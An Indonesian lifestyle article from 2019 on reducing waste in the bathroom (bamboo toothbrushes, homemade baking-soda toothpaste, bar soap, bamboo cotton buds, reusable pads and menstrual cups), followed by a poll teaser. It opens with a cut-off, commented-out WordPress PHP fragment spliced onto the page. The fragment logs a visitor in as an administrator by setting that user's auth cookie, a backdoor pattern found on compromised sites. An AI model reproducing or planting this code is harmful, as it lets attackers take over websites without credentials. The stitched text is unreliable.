user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Mulai Ramah Lingkungan Dari Kamar Mandi

25 Aug 2019

Foto: shutterstock

Sudah meninggalkan sedotan plastik dan sebisa mungkin tidak menggunakan kantong plastik sekali pakai? Meski kesannya kecil dan sederhana, jika dilakukan oleh banyak orang, tindakan ini akan memberi perbedaan besar dan memberi kontribusi positif bagi kelestarian alam.

Ingin melangkah lebih jauh? Yuk, beranjak ke kamar mandi. Perlengkapan mandi seperti sabun, shampoo, sabut penggosok badan, sikat gigi, dan pasta gigi yang Anda gunakan juga bisa beralih ke wujud yang lebih ramah lingkungan, lho.

1/ Sikat Gigi Bambu

Mungkin membuang satu sikat gigi ke tempat sampah setiap tiga bulan tidak terasa bagi Anda, tapi bayangkan, itu dilakukan oleh jutaan orang. Belum lagi sikat gigi sekali pakai yang disediakan di hotel. 

Untuk mengatasi ini, kini sudah banyak tersedia sikat gigi terbuat dari bambu. Pohon bambu adalah salah satu pohon yang paling mudah ditanam dan cepat dipanen. Meski bagian sikat dari sikat gigi bambu masih terbuat dari nilon, setidaknya Anda sudah mengurangi sampah plastik dari batang sikat gigi. 

Setelah tidak lagi dipakai, lepas sikat nilon menggunakan tang, lalu masukkan batang sikat gigi ke komposer agar terurai. Jangan lupa untuk membawa sikat gigi sendiri saat traveling, ya.


2/ Pasta Gigi Baking Soda
  
Untuk menghindari sampah dari kemasan pasta gigi dan detergen yang terkandung di dalamnya, coba buat sendiri pasta gigi dari bahan yang ada di dapur.

Cara membuatnya sangat mudah. Cukup campur bubuk baking soda dan minyak kelapa hingga didapat kekentalan pasta yang diinginkan. Jika ingin memberi rasa, tinggal tambahkan minyal essential yang Anda suka seperti mint atau lemon. Bisa juga tambahkan stevia bila Anda ingin pasta gigi itu memiliki rasa manis.


Foto: shutterstock
 

3/ Sabun dan Shampoo

Kebanyakan sabun dan shampoo komersial mengandung detergen yang akan membuat ekosistem air di sungai dan laut terganggu. Anda mungkin bisa melihat sungai-sungai sering berbusa akibat dari buangan limbah cuci rumah tangga. Para pecinta  lingkungan juga mencermati penggunaan minyak kelapa sawit dalam sabun yang digunakan. Belum lagi limbah kemasan plastik dari kemasan sabun cair, yang seringkali mencemari lingkungan.

Sebagai alternatif yang lebih ramah lingkungan, pilih sabun dan shampoo berbentuk batangan yang terbuat dari bahan-bahan yang lebih  bersahabat. Anda bisa menemukannya di banyak toko sekarang. Salah satunya di bulk store. 
Advertisement

Saat traveling, lupakan shampoo kemasan sachet yang hanya menambah limbah. Untuk menggosok kulit, Anda bisa menggunakan gambas atau loofah. 

4/ Kapas Pembersih

Batang dari cotton buds yang terbuat dari bambu bisa jadi pilihan bagi Anda yang perlu kapas pembersih untuk mengeliminasi kotoran di lekukan daun telinga luar. Batang kecilnya akan dapat terurai kembali ke alam.
 

Foto: shutterstock

5/ Pembalut 

Jika seorang wanita menggunakan 20 pembalut atau tampon setiap bulan, maka setiap tahun ia bisa menggunakan 240. Dengan kata lain, dalam masa produktif, sekitar 40 tahun hidupnya, seorang wanita bisa menggunakan 9.600 pembalut atau tampon.

Di dunia ini ada ratusan juta wanita. Jadi bayangkan berapa banyak limbah pembalut dan tampon yang ada ditanggung bumi.  pembalut kebanyakan berakhir di tempat pembuangan sampah atau dibuang ke dalam saluran pembuangan air. Keduanya sama-sama dapat mencemari lingkungan. Diperkirakan butuh ratusan tahun untuk komponen plastik  pada pembalut untuk  terurai.

Alternatif yang bisa Anda lakukan  kini ada beberapa cara. Pertama, menggunakan pembalut yang bisa dicuci ulang, seperti popok bayi cuci ulang  hanya saja bentuknya lebih ramping. Anda bisa memilih tak hanya motifnya tapi juga bentuknya. Pembalut yang lebih tipis dan kecil bisa jadi alternatif panty liner. 

Dengan perawatan yang baik, pembalut ini akan bertahan lama dan aman bagi kesehatan.
Menstrual cup/ Foto: shutterstock



 
Alternatif lain adalah menggunakan menstrual cup. Terbuat dari bahan silikon yang lentur untuk diselipkan dalam vagina dan mampu menampung darah menstruasi dalam waktu lama. Anda juga tak perlu khawatir bocor dan bau.  Satu menstrual cup yang praktis dibawa traveling ini bisa bertahan selama sepuluh tahun. Bikin hemat dan tak menambah banyak sampah. (f) 
 



Topic

#greenliving, #ramahlingkungan

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?